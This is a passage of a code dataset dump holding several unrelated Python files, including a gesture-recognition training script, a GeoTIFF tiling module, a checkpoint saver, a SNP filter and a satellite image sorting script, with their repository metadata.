15)\nax2.legend(loc=0)\n\nfig.tight_layout()\nfig.savefig(\"fig2.png\")\nplt.show()\n","repo_name":"rojassergio/Aprendiendo-a-programar-en-Python-con-mi-computador","sub_path":"Programas_Capitulo_07/Cap07_pagina_179_matplotlib_2D_ex_3.py","file_name":"Cap07_pagina_179_matplotlib_2D_ex_3.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"es","doc_type":"code","stars":15,"dataset":"github-code","pt":"23"} +{"seq_id":"70931591740","text":"#Debangshu Roy \n# XII - B \n# 40\n\n#Rishi has list of his friends. He went to pass the list as argument \n#to a function that forms stack of names which begin with a vowel. \n#write the function \n\n#variables\nx = 'y'\nstkList = []\nvarList = []\n\n#mainnet fucntion\ndef rishi(fullList):\n for i in fullList:\n if i[:1] == 'a' or i[:1] == 'e' or i[:1] == 'i' or i[:1] == 'o' or i[:1] == 'u':\n stkList.append(i)\n\ndef printlist():\n ab = reversed(stkList)\n for j in ab:\n print(f\"Names starting with Vowel are: {j}\")\n#loop to enter names (main loop)\nwhile (x):\n name = input(\"Enter name: \")\n varList.append(name)\n rishi(varList)\n x = input(\"Do you wish to continue?: y / n\")\n if x == 'y' or x == 'Y':\n continue\n elif x == 'n' or x == 'N':\n printlist()\n break\n\n#loop to display final stack\n\"\"\"\nEnter name: anushka\nDo you wish to continue?: y / ny\nEnter name: debangshu\nDo you wish to continue?: y / ny\nEnter name: esha\nDo you wish to continue?: y / ny\nEnter name: deivangh\nDo you wish to continue?: y / nn\nNames starting with Vowel are: esha \nNames starting with Vowel are: anushka\n\"\"\"","repo_name":"cyph3r-exe/python-practice-files","sub_path":"Program File EP2/WAP 8.py","file_name":"WAP 8.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"3601431511","text":"'''\nLoads the dynamic gesture data from both SHREC and user captured data,\nTransforms and prepares dataset in the form of a DataLoader\nTrains the network and saves it to disk.\n'''\n\nimport os\nimport argparse\nimport math\nfrom functools import partial\nimport json\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader\nfrom sklearn.model_selection import train_test_split\nfrom torchvision import transforms\nfrom pytorch_lightning import Trainer, seed_everything\nfrom pytorch_lightning.callbacks import EarlyStopping\nfrom pytorch_lightning import loggers as pl_loggers\nfrom model import ShrecNet, ShrecDataset, init_weights, variable_length_collate\nfrom config import Config\n\ndef init_seed(seed):\n ''' Initializes random seeds for reproducibility '''\n seed_everything(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\ndef normalize(seq):\n '''\n Transformation function. Takes in keypoints and normalizes them.\n Sequence of shape (1,seq_length,44) where the first index is batchsize (set to 1)\n '''\n norm = torch.empty(seq[0].shape)\n i = 0\n for frame in seq[0]: # iterate over each frame in a sequence\n odd = torch.tensor([frame[x] if x%2 == 0 else 0 for x in range(len(frame))])/640\n even = torch.tensor([frame[x] if x%2 != 0 else 0 for x in range(len(frame))])/480\n\n # Clipping values at zero and one.\n odd[odd < 0] = 0\n odd[odd > 1] = 1\n\n even[even < 0] = 0\n even[even > 1] = 1\n\n norm[i] = odd + even\n i += 1\n return norm\n\ndef smooth(seq):\n '''\n Transformation Function. Performs exponential smoothing on sequence with factor 'alpha'\n '''\n alpha = 0.9\n smoothed = torch.empty(seq.shape)\n i=0\n for s in seq:\n j=0\n last = s[0] #First timestep\n for point in s:\n smoothval = last*alpha + (1-alpha)*point\n smoothed[i][j] = smoothval\n last = smoothval\n j+=1\n i+=1\n return smoothed\n\n\ndef resample_and_jitter(seq):\n '''\n Transformation Function. Augments the data in the following ways:\n Randomly resamples the sequences to a different length. Adds noise\n to training data to make a more robust network.\n '''\n # Probability of transformation\n p_jitter = p_resample = 0.6\n resampled_len = list(np.arange(0.5, 1.0, 0.05))\n p_sample_len = np.random.choice(resampled_len)\n\n if np.random.random() < p_resample:\n sample = np.random.choice(a=[True, False], size=(len(seq)),\n p=[p_sample_len, 1 - p_sample_len])\n seq = seq[torch.from_numpy(sample)]\n\n if np.random.random() < p_jitter:\n noise = np.random.normal(size=np.array(seq.shape), scale=0.05)\n seq += noise\n\n return seq.float()\n\ndef calc_polar(x,y):\n ''' Calculate the polar form of the Cartesian coordinates x and y. '''\n return (x**2 + y**2)**0.5, math.atan2(y, x)/math.pi\n\ndef format_shrec(C, seq):\n '''\n Transformation Function. Formats the SHREC data as per mediapipe output.\n '''\n tmp_seq = torch.zeros((len(seq),42))\n # Make a new sequence without Palm keypoint\n for i, iseq in enumerate(seq):\n tmp_seq[i] = torch.cat([iseq[0:2], iseq[4:]])\n seq = tmp_seq\n return construct_seq(C, seq)\n\ndef format_user(C, seq):\n '''\n Transformation Function. Formats the user data as per mediapipe output.\n '''\n tmp_seq = torch.zeros((len(seq), 42))\n for i, iseq in enumerate(seq):\n # Remove Z-axis coordinates\n all_index = set(range(63))\n del_index = set([i-1 for i in range(64) if i%3==0])\n keep_index = all_index - del_index\n count = 0\n for k in keep_index:\n tmp_seq[i][count] = iseq[k]\n count+=1\n seq = tmp_seq\n return construct_seq(C, seq)\n\ndef construct_seq(C, seq):\n '''\n Constructs the final sequence for the transformed data.\n '''\n new_seq = torch.zeros((len(seq),C.dynamic_input_dim))\n for i, iseq in enumerate(seq):\n # Absolute coords\n new_seq[i][0] = iseq[0]\n new_seq[i][1] = iseq[1]\n\n # Time diff coords\n if i == 0: #start of sequence\n new_seq[i][2] = 0\n new_seq[i][3] = 0\n else:\n x = iseq[0] - new_seq[i-1][0]\n y = iseq[1] - new_seq[i-1][1]\n new_seq[i][2], new_seq[i][3] = calc_polar(x, y)\n\n for j in range(4):\n # calculate L01, L12, L23, L34\n x = iseq[2*j+2] - iseq[2*j] #L__X\n y = iseq[2*j+3] - iseq[2*j+1] #L__Y\n new_seq[i][4+2*j], new_seq[i][4+2*j+1] = x, y\n\n for j in range(3):\n # calculate L56, L67, L78\n x = iseq[2*j+12] - iseq[2*j+10]\n y = iseq[2*j+13] - iseq[2*j+11]\n new_seq[i][12+2*j], new_seq[i][12+2*j+1] = x, y\n\n # calculate L910, L1011, L1112\n x = iseq[2*j+20] - iseq[2*j+18]\n y = iseq[2*j+21] - iseq[2*j+19]\n new_seq[i][18+2*j], new_seq[i][18+2*j+1] = x, y\n\n # calculate L1314, L1415, L1516\n x = iseq[2*j+28] - iseq[2*j+26]\n y = iseq[2*j+29] - iseq[2*j+27]\n new_seq[i][24+2*j], new_seq[i][24+2*j+1] = x, y\n\n # calculate L1718, L1819, L1920\n x = iseq[2*j+36] - iseq[2*j+34]\n y = iseq[2*j+37] - iseq[2*j+35]\n new_seq[i][30+2*j], new_seq[i][30+2*j+1] = x, y\n\n return new_seq\n\n\ndef read_shrec_data():\n ''' Reads data from SHREC2017 dataset files. '''\n # Change this as per your system\n base_directory = \"/home/sriramsk/Desktop/HandGestureDataset_SHREC2017\"\n\n gesture_dir = ['gesture_'+str(i) for i in range(1, 15)]\n gesture_arr = []\n target_arr = []\n gesture_no = 0\n\n for gesture in [os.path.join(base_directory, i) for i in gesture_dir]: # for each gesture\n for finger in ['/finger_1', '/finger_2']:\n for subject in os.listdir(gesture+finger):\n for essai in os.listdir(gesture+finger+'/'+subject):\n data = np.loadtxt(gesture+finger+'/'+subject+'/'+essai+'/skeletons_image.txt')\n gesture_arr.append(data)\n target_arr.append(gesture_no)\n gesture_no += 1\n\n with open('data/shrec_gesture_mapping.json', 'r') as jsonfile:\n shrec_dict = json.load(jsonfile)\n\n return gesture_arr, target_arr, shrec_dict\n\ndef read_user_data():\n ''' Reads the user collected data. '''\n base_directory = \"data/dynamic_gestures\"\n\n gesture_arr = []\n target_arr = []\n gesture_no = 14 #no. of gestures in SHREC\n user_dict = {}\n\n for gesture in os.listdir(base_directory): # for each gesture\n for g in os.listdir(base_directory+'/'+gesture):\n data = np.loadtxt(base_directory+'/'+gesture+'/'+g)\n gesture_arr.append(data)\n target_arr.append(gesture_no)\n user_dict[gesture_no] = gesture\n gesture_no += 1\n\n return gesture_arr, target_arr, user_dict\n\ndef read_data(seed_val):\n ''' Read both user data and SHREC data. '''\n gesture_shrec, target_shrec, shrec_dict = read_shrec_data()\n gesture_user, target_user, user_dict = read_user_data()\n\n shrec_dict.update(user_dict)\n\n gesture = gesture_shrec + gesture_user\n target = target_shrec + target_user\n\n train_x, test_x, train_y, test_y = train_test_split(gesture, target, test_size=0.2,\n random_state=seed_val)\n return train_x, test_x, train_y, test_y, shrec_dict\n\ndef choose_collate(collate_fn, C):\n ''' Returns None(default collate) if batch size is 1, else custom collate. '''\n if C.dynamic_batch_size == 1:\n return None\n return collate_fn\n\ndef main():\n ''' Main '''\n\n parser = argparse.ArgumentParser(description='A program to train a neural network \\\n to recognize dynamic hand gestures.')\n parser.add_argument(\"--exp-name\", help=\"The name with which to log the run.\", type=str)\n\n args = parser.parse_args()\n\n C = Config(lite=True, pretrained=False)\n init_seed(C.seed_val)\n\n ##################\n # INPUT PIPELINE #\n ##################\n\n train_x, test_x, train_y, test_y, gesture_mapping = read_data(C.seed_val)\n with open('data/dynamic_gesture_mapping.json', 'w') as f:\n f.write(json.dumps(gesture_mapping))\n\n # Higher order function to pass configuration as argument\n shrec_to_mediapipe = partial(format_shrec, C)\n user_to_mediapipe = partial(format_user, C)\n\n # Custom transforms to prepare data.\n shrec_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Lambda(normalize),\n transforms.Lambda(resample_and_jitter),\n transforms.Lambda(shrec_to_mediapipe),\n ])\n user_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Lambda(torch.squeeze),\n transforms.Lambda(resample_and_jitter),\n transforms.Lambda(user_to_mediapipe),\n ])\n\n train_loader = DataLoader(ShrecDataset(train_x, train_y, shrec_transform, user_transform),\n num_workers=10, batch_size=C.dynamic_batch_size,\n collate_fn=choose_collate(variable_length_collate, C))\n val_loader = DataLoader(ShrecDataset(test_x, test_y, shrec_transform, user_transform),\n num_workers=10, batch_size=C.dynamic_batch_size,\n collate_fn=choose_collate(variable_length_collate, C))\n\n ############\n # TRAINING #\n ############\n\n # Use pretrained SHREC model\n if C.pretrained:\n model = ShrecNet(C.dynamic_input_dim, C.shrec_output_classes, gesture_mapping)\n model.load_state_dict(torch.load(C.shrec_path))\n model.replace_layers(C.dynamic_output_classes)\n else:\n model = ShrecNet(C.dynamic_input_dim, C.dynamic_output_classes, gesture_mapping)\n model.apply(init_weights)\n\n early_stopping = EarlyStopping(\n patience=5,\n verbose=True,\n )\n\n # No name is given as a command line flag.\n if args.exp_name is None:\n args.exp_name = \"default\"\n\n wandb_logger = pl_loggers.WandbLogger(save_dir='logs/',\n name=args.exp_name,\n project='gestop')\n\n trainer = Trainer(gpus=1,\n deterministic=True,\n logger=wandb_logger,\n min_epochs=20,\n accumulate_grad_batches=C.grad_accum,\n early_stop_callback=early_stopping)\n\n trainer.fit(model, train_loader, val_loader)\n\n torch.save(model.state_dict(), C.dynamic_path)\n\n trainer.test(model, test_dataloaders=val_loader)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sriramsk1999/gestop-old","sub_path":"dynamic_train_model.py","file_name":"dynamic_train_model.py","file_ext":"py","file_size_in_byte":10781,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"23"} +{"seq_id":"14610046775","text":"import numpy as np\nfrom initialize import NG, L\n\n\ndef specKernel(order=2):\n PL = 1\n Ka = np.arange(1, NG // 2)\n Kb = Ka[::-1]\n K = np.append(np.append(Ka, [- NG // 2]), - Kb)\n Shat = (L * np.sin(np.pi * K * PL / L) / (np.pi * K * PL)) ** order\n Shat = np.append([1], Shat)\n K = np.append([0], K)\n return Shat, K\n","repo_name":"Nigel-Shen/PIC-Simulation","sub_path":"PIC1D/specKernel.py","file_name":"specKernel.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"38120138447","text":"import logging\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport numpy as np\nimport rasterio\nimport rasterio.crs\nimport rasterio.shutil\nfrom pystac.utils import make_absolute_href\nfrom rasterio.io import MemoryFile\nfrom rasterio.windows import Window\nfrom shapely.geometry import box, mapping\nfrom stactools.core.io import ReadHrefModifier\n\nfrom .. import classes, constants\n\nlogger = logging.getLogger(__name__)\n\nCOG_PROFILE = {\n \"compress\": \"deflate\",\n \"blocksize\": 512,\n \"driver\": \"COG\",\n \"overview_resampling\": \"average\",\n}\n\n\ndef make_cog_tiles(\n nc_path: str, cog_dir: str, tile_dim: int, tile_col_row: Optional[List[int]] = None\n) -> List[List[str]]:\n \"\"\"Generates tiled COGs from NetCDF variables. There are five variables of\n interest, so five COGs are generated for each tile.\n\n Args:\n nc_path (str): Local path to NetCDF file.\n cog_dir (str): Local directory to store creatd COGs.\n cog_tile_dim (Optional[int]): Optional COG tile dimension in pixels.\n Defaults to ``constants.COG_TILE_DIM``.\n tile_col_row (Optional[List[int]]): Optional tile grid column and row\n indices. Use to create an Item and COGs for a single tile. Indices\n are 0 based.\n\n Returns:\n List[List[str]]: List of lists of tiled COG paths. Each inner list\n contains the five COG paths for a single tile.\n \"\"\"\n windows = get_windows(tile_dim, tile_col_row)\n cog_paths: Dict[str, List[str]] = {window[\"tile\"]: [] for window in windows}\n for variable in constants.DATA_VARIABLES:\n with rasterio.open(f\"netcdf:{nc_path}:{variable}\") as src:\n for window in windows:\n window_transform = src.window_transform(window[\"window\"])\n window_data = src.read(1, window=window[\"window\"])\n\n dst_profile = {\n \"driver\": \"GTiff\",\n \"width\": window[\"window\"].width,\n \"height\": window[\"window\"].height,\n \"count\": 1,\n \"dtype\": window_data.dtype,\n \"transform\": window_transform,\n \"crs\": \"EPSG:4326\",\n }\n\n if variable == \"current_pixel_state\" or variable == \"processed_flag\":\n window_data[window_data == -1] = 100\n window_data = np.uint8(window_data)\n window_data[window_data == 100] = 255\n dst_profile.update({\"dtype\": \"uint8\", \"nodata\": 255})\n if variable == \"lccs_class\":\n dst_profile.update({\"nodata\": 0})\n\n cog_path = (\n Path(cog_dir)\n / f\"{Path(nc_path).stem}-{window['tile']}-{variable}.tif\"\n )\n\n with MemoryFile() as mem_file:\n with mem_file.open(**dst_profile) as mem:\n mem.write(window_data, 1)\n if variable == \"lccs_class\":\n mem.write_colormap(1, _get_colormap())\n cog_profile_mode = COG_PROFILE.copy()\n cog_profile_mode[\"overview_resampling\"] = \"mode\"\n rasterio.shutil.copy(mem, cog_path, **cog_profile_mode)\n else:\n rasterio.shutil.copy(mem, cog_path, **COG_PROFILE)\n\n cog_paths[window[\"tile\"]].append(str(cog_path))\n\n return [value for value in cog_paths.values()]\n\n\ndef get_windows(\n tile_dim: int, tile_col_row: Optional[List[int]] = None\n) -> List[Dict[str, Any]]:\n \"\"\"Creates rasterio ``Window`` objects and tile ID strings. The tile IDs are\n the geographic coordinates of the lower left tile corner rounded to the\n nearest degree. Unless ``tile_col_row`` is passed, objects and IDs will be\n generated for all tiles in a tile grid defined by ``tile_dim``.\n\n Args:\n cog_tile_dim (Optional[int]): Optional COG tile dimension in pixels.\n Defaults to ``constants.COG_TILE_DIM``.\n tile_col_row (Optional[List[int]]): Optional tile grid column and row\n indices. Use to create an Item and COGs for a single tile. Indices\n are 0 based.\n\n Returns:\n List[Dict[str, Any]]: List of dictionaries containing a rasterio\n ``Window`` object and Tile ID string.\n \"\"\"\n for dim in constants.NETCDF_DATA_SHAPE:\n if dim % tile_dim:\n raise ValueError(\n f\"Source data shape '{constants.NETCDF_DATA_SHAPE}' is not evenly \"\n \"divisible by the tile dimension '{tile_dim}'.\"\n )\n\n num_cols = int(constants.NETCDF_DATA_SHAPE[1] / tile_dim)\n cols = list(range(0, num_cols))\n num_rows = int(constants.NETCDF_DATA_SHAPE[0] / tile_dim)\n rows = list(range(0, num_rows))\n\n if 360 % num_cols:\n logger.warning(\n \"Non-integer tile degree increment. Lower left corner coordinates \"\n \"in tile file names will be rounded to nearest integer degree.\"\n )\n deg_increment = 360 / num_cols\n\n if tile_col_row is not None:\n col, row = tile_col_row\n if col not in cols or row not in rows:\n raise ValueError(\n f\"Specified tile column ({col}) or row ({row}) falls outside of \"\n f\"tile grid. Valid columns = 0 to {cols[-1]}, valid rows = \"\n f\"0 to {rows[-1]}.\"\n )\n cols = [col]\n rows = [row]\n\n windows = []\n for c in cols:\n for r in rows:\n window = {}\n window[\"window\"] = Window(c * tile_dim, r * tile_dim, tile_dim, tile_dim)\n\n bottom = round(90 - (r + 1) * deg_increment)\n bottom_text = f\"{'S' if bottom < 0 else 'N'}{abs(bottom):02d}\"\n left = round((c * deg_increment) - 180)\n left_text = f\"{'W' if left < 0 else 'E'}{abs(left):03d}\"\n window[\"tile\"] = f\"{bottom_text}{left_text}\"\n\n windows.append(window)\n\n return windows\n\n\ndef _get_colormap() -> Dict[str, Tuple[int, ...]]:\n colors: Dict[str, Tuple[int, ...]] = {}\n for row in classes.TABLE:\n colors[row[0]] = tuple([*row[1], 255])\n return colors\n\n\ndef create_cog_asset(\n key: str,\n cog_href: Optional[str] = None,\n) -> Dict[str, Any]:\n \"\"\"\n Creates a basic COG asset dict with shared core properties and optionally an\n href. An href should be given for normal assets, but can be None for Item\n Asset Definitions.\n\n Args:\n key (str):\n cog_href (str): The URL to the asset\n\n Returns:\n Dict: Basic Asset object\n \"\"\"\n asset: Dict[str, Any] = constants.COG_ASSETS[key].copy()\n asset[\"type\"] = constants.COG_MEDIA_TYPE\n if cog_href:\n asset[\"href\"] = make_absolute_href(cog_href)\n if key in constants.TABLES:\n table = constants.TABLES[key]\n asset[\"classification:classes\"] = classes.to_stac(table)\n\n nodata = asset.pop(\"nodata\", None)\n data_type = asset.pop(\"data_type\")\n band = {\n \"spatial_resolution\": constants.RESOLUTION,\n \"sampling\": constants.SAMPLING,\n \"data_type\": data_type,\n }\n if nodata is not None:\n band[\"nodata\"] = nodata\n\n asset[\"raster:bands\"] = [band]\n\n return asset\n\n\n@dataclass(frozen=True)\nclass COGMetadata:\n id: str\n title: str\n geometry: Dict[str, Any]\n bbox: List[float]\n start_datetime: str\n end_datetime: str\n version: str\n tile: str\n epsg: int\n proj_shape: List[int]\n proj_transform: List[float]\n\n @classmethod\n def from_cog(\n cls, href: str, read_href_modifier: Optional[ReadHrefModifier]\n ) -> \"COGMetadata\":\n if read_href_modifier:\n modified_href = read_href_modifier(href)\n else:\n modified_href = href\n with rasterio.open(modified_href) as dataset:\n bbox = dataset.bounds\n geometry = mapping(box(*bbox))\n shape = dataset.shape\n transform = list(dataset.transform)[0:6]\n epsg = dataset.crs.to_epsg()\n\n fileparts = Path(href).stem.split(\"-\")\n id = \"-\".join(fileparts[:-1])\n start_datetime = f\"{fileparts[-4]}-01-01T00:00:00Z\"\n end_datetime = f\"{fileparts[-4]}-12-31T23:59:59Z\"\n version = fileparts[-3]\n tile = fileparts[-2]\n title = f\"ESA CCI Land Cover Map for Year {fileparts[-4]}, Tile {tile}\"\n\n return COGMetadata(\n id=id,\n title=title,\n geometry=geometry,\n bbox=list(bbox),\n start_datetime=start_datetime,\n end_datetime=end_datetime,\n version=version,\n tile=tile,\n epsg=epsg,\n proj_shape=shape,\n proj_transform=transform,\n )\n","repo_name":"stactools-packages/esa-cci-lc","sub_path":"src/stactools/esa_cci_lc/cog/cog.py","file_name":"cog.py","file_ext":"py","file_size_in_byte":8854,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"23"} +{"seq_id":"11778534031","text":"\nimport os\nimport torch\n\nfrom glob import glob\nfrom functools import cmp_to_key\n\nclass Saver(object):\n\n def __init__(self, max_save_num, save_dir, keep, resume = False, resume_score_fn = None):\n # keep: min, max\n assert keep in ['min', 'max']\n\n self.max_save_num = max_save_num\n self.save_dir = save_dir\n self.save_list = []\n self.keep = keep\n\n if keep == 'min':\n self.reverse = True\n else:\n self.reverse = False\n\n if resume:\n # resume_score_fn: a callable function to get score for sorting\n if resume_score_fn == None:\n print('Specify function to get sorting score')\n\n # exclude latest.pth\n paths = glob(os.path.join(self.save_dir, '[!latest]*.pth'))\n save_list = []\n for path in paths:\n info_dict = torch.load(path)\n score = resume_score_fn(info_dict)\n save_list.append({'score': score, 'path': path})\n save_list = sorted(save_list, key = lambda x: x['score'], reverse = self.reverse)\n self.save_list = save_list[:self.max_save_num]\n\n def force_save(self, model, model_name, info_dict = None):\n path = os.path.join(self.save_dir, model_name)\n self.save(model, path, info_dict)\n\n def logging(self):\n with open(os.path.join(self.save_dir, 'save.log'), 'w') as f:\n for item in self.save_list[::-1]:\n s = item['score']\n p = item['path']\n f.write(f'{p}: {s}\\n')\n\n def save(self, model, path, info_dict = None):\n\n if info_dict is None:\n info_dict = { 'state_dict': model.state_dict() }\n else:\n info_dict['state_dict'] = model.state_dict()\n\n torch.save(info_dict, path)\n\n def update(self, model, score, model_name, info_dict = None):\n\n path = os.path.join(self.save_dir, model_name)\n\n if len(self.save_list) < self.max_save_num:\n item = { 'score': score, 'path': path }\n self.save_list.append(item)\n self.save(model, path, info_dict)\n\n if len(self.save_list) == self.max_save_num:\n self.save_list = sorted(self.save_list, key = lambda x: x['score'], reverse = self.reverse)\n else:\n m_score = self.save_list[0]['score']\n\n if self.keep == 'min':\n flag = score < m_score\n else:\n flag = score > m_score\n\n if flag:\n os.remove(self.save_list[0]['path'])\n self.save_list[0] = { 'score': score, 'path': path }\n self.save(model, path, info_dict)\n self.save_list = sorted(self.save_list, key = lambda x: x['score'], reverse = self.reverse)\n\n self.logging()\n\n @staticmethod\n def simple_comp(x, y):\n x, y = x['score'], y['score']\n if x > y:\n return 1\n elif x == y:\n return 0\n else:\n return -1\n\nif __name__ == '__main__':\n\n import torch.nn as nn\n import random\n\n class m(nn.Module):\n def __init__(self):\n super(m, self).__init__()\n self.nn = nn.Linear(100, 100)\n\n saver = Saver(5, './temp/', 'max')\n model = m()\n\n check = []\n\n for i in range(20):\n\n score = random.randint(0, 100)\n model_name = str(i) + '.pth'\n saver.update(model, score, model_name)\n\n check.append((score, model_name))\n\n check = sorted(check, key = lambda x: x[0], reverse = True)\n for c in check:\n print(c)\n\n\n","repo_name":"henryhenrychen/speech_separation_domain_adaptation","sub_path":"src/saver.py","file_name":"saver.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"23"} +{"seq_id":"42766701876","text":"from datetime import timezone, timedelta\n\nTYPE_INCOME = 1\nTYPE_OUTCOME = 2\nTYPE_SAVING = 3\n\n# account type\nACCOUNT_CASH = 1\nACCOUNT_CARD = 2\nACCOUNT_OTHER = 3\n\n# asset type\nASSET_BANK = 1\nASSET_INSTALLMENT_SAVING = 2\nASSET_STOCK = 3\nASSET_PROPERTY = 4\nASSET_CAR = 5\nASSET_ANNUITY = 6\nASSET_ETC = 7\n\nCURRENT_TIMEZONE = timezone(timedelta(hours=9))\n\n\n__all__ = [\n \"TYPE_INCOME\",\n \"TYPE_OUTCOME\",\n \"TYPE_SAVING\",\n \"ACCOUNT_CASH\",\n \"ACCOUNT_CARD\",\n \"ACCOUNT_OTHER\",\n \"ASSET_BANK\",\n \"ASSET_INSTALLMENT_SAVING\",\n \"ASSET_STOCK\",\n \"ASSET_PROPERTY\",\n \"ASSET_CAR\",\n \"ASSET_ANNUITY\",\n \"ASSET_ETC\",\n \"CURRENT_TIMEZONE\",\n]\n","repo_name":"onaries/account-book-python","sub_path":"app/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"72072292218","text":"import argparse\nimport os\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"--input_no_density_snp_tsv\", help=\"snvphyl snvTable.tsv file\")\nparser.add_argument(\"--density\", help=\"# snps in window to filter\")\nparser.add_argument(\"--window\", help=\"Window size in which to filter 'density' number of SNPs\")\nparser.add_argument(\"--ref\", help=\"reference genome\")\n\nargs = parser.parse_args()\n\nvcf_dict = {}\nvcf_pos_list = []\nwith open(args.input_no_density_snp_tsv, 'r') as infile1:\n for line in infile1:\n if not line.startswith(\"#\"):\n if \"filtered-coverage\" not in line:\n if \"filtered-mpileup\" not in line:\n if \"filtered-invalid\" not in line:\n line_elements = line.strip().split(\"\\t\")\n vcf_dict[line_elements[1]] = line_elements\n vcf_pos_list.append(int(line_elements[1]))\n\nfrom Bio import SeqIO\n\nref = list(SeqIO.parse(args.ref, \"fasta\"))[0].seq\n\n# Function to get circuclar string...\ndef access_char(string, i):\n return string[i % len(string)]\n\n\nto_drop = [] # final positions to remove\nfor i in range(1,len(ref)+1):\n end = i + int(args.window)-1\n\n pos_in_window = [] # temporary list of positions falling in window; if the # of these exceeds the density, add these positions to the final to drop list\n\n for position in vcf_pos_list:\n if i <= position <= end:\n pos_in_window.append(position)\n else:\n continue\n\n if len(pos_in_window) >= int(args.density):\n to_drop = to_drop + pos_in_window\n\nprint(len(vcf_dict))\nprint(len(set(to_drop)))\n\nfor key in set(to_drop):\n vcf_dict.pop(str(key))\n\nprint(len(vcf_dict))\n\n# for pos in vcf_dict:\n# vcf_dict.pop(pos)\n#\n# print(len(vcf_dict))\n","repo_name":"cizydorczyk/python_scripts","sub_path":"phd/F33_test_snvphyl_density_filtering_1.py","file_name":"F33_test_snvphyl_density_filtering_1.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"624578061","text":"from turtle import Screen\nfrom car_manager import CarManager\nfrom scoreboard import Scoreboard\nfrom player import Player\nimport time\n\nscreen = Screen()\nscreen.setup(600, 600)\nscreen.bgcolor('white')\nscreen.title('Turtle Crossing Game ')\nscreen.tracer(0)\n\nplayer = Player()\ncar_manager = CarManager()\nscoreboard = Scoreboard()\n\nscreen.listen()\nscreen.onkey(player.move, 'Up')\n\ngame_is_on = True\n\n\n# Function to detect collision of turtle with cars\ndef collision(turtle_player, cars):\n for car in cars:\n if turtle_player.distance(car) < 20:\n return True\n return False\n\n\nwhile game_is_on:\n for i in range(5):\n time.sleep(.1)\n screen.update()\n\n # Collision\n if collision(player, car_manager.cars):\n scoreboard.game_over()\n game_is_on = False\n break\n\n # Detect when current level is passed\n if player.ycor() > 280:\n scoreboard.level_up()\n car_manager.level_up()\n player.level_up()\n\n car_manager.move_cars()\n car_manager.add_random_car()\n\nscreen.exitonclick()\n","repo_name":"abhisheksaran/100-days-of-python","sub_path":"day-23-turtle-crossing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"2313526930","text":"import pytorch_ssim\r\nimport torch\r\nfrom torch.autograd import Variable\r\n\r\nimg1 = Variable(torch.rand(1, 1, 256, 256))\r\nimg2 = Variable(torch.rand(1, 1, 256, 256))\r\n\r\nif torch.cuda.is_available():\r\n img1 = img1.cuda()\r\n img2 = img2.cuda()\r\n\r\nprint(pytorch_ssim.ssim(img1, img2))\r\n\r\nssim_loss = pytorch_ssim.SSIM(window_size = 11)\r\n\r\nprint(ssim_loss(img1, img2))\r\n\r\n","repo_name":"CondaPereira/MolEV","sub_path":"CVAE_GAN/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"23"} +{"seq_id":"7399396948","text":"import argparse\nimport os\nimport requests\nfrom urllib.parse import urlparse\nfrom urllib.request import urlretrieve\nfrom collections import defaultdict\nfrom bs4 import BeautifulSoup\nfrom collections import defaultdict\n\n\n\ndef no_return_error(links):\n if len(links) == 0:\n raise Exception('This DigitalGlobe website does not have any image download links')\n\n\ndef get_img_links(page_url):\n page = requests.get(page_url)\n soup = BeautifulSoup(page.content, 'html.parser')\n links = soup.findAll('textarea')\n\n no_return_error(links)\n\n return [link for chunk in links for link in chunk.text.split() if link.endswith('.tif')]\n\ndef get_img_by_date(links):\n pre_events = defaultdict(list)\n post_events = defaultdict(list)\n\n for link in links:\n url = urlparse(link)\n event = url.path.split('/')[2]\n date = url.path.split('/')[3]\n code = url.path.split('/')[4]\n codes = ['103001005F73E000', '1030010060C0B000', '103001006FBA7400', '1030010072823700']\n if 'pre-event' in event and code in codes: pre_events[date].append(link)\n elif 'post-event' in event and code == '1030010072069C00': post_events[date].append(link)\n\n return pre_events, post_events\n\n\ndef main():\n event_url = 'https://www.digitalglobe.com/ecosystem/open-data/hurricane-maria'\n links = get_img_links(os.path.join(event_url))\n pre_events, post_events = get_img_by_date(links)\n images = defaultdict(list)\n for date, img_names in pre_events.items():\n print(len(img_names))\n for link in img_names:\n url = urlparse(link)\n code = url.path.split('/')[5]\n name = code.split('.')[0]\n images[date].append(name + '_jpeg_compressed.tif')\n count = 0\n for date, img_names in images.items():\n\n os.chdir(os.path.join('/Volumes/ExtremeSSD/cs461_final_project/data/disaster_images/pre_event/', date))\n for img in img_names:\n count += 1\n print(count, img)\n os.system('cp ' + os.path.join(os.getcwd(), img) + ' ../../manually_selected/pre_event/charlotte/')\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"dr-irani/Post-Disaster-Damage-Assessment-Satellite-Imagery","sub_path":"post_event_selection.py","file_name":"post_event_selection.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"74768405498","text":"import scrapy\nfrom selenium import webdriver\nfrom newsWY.items import NewswyItem\n\nclass 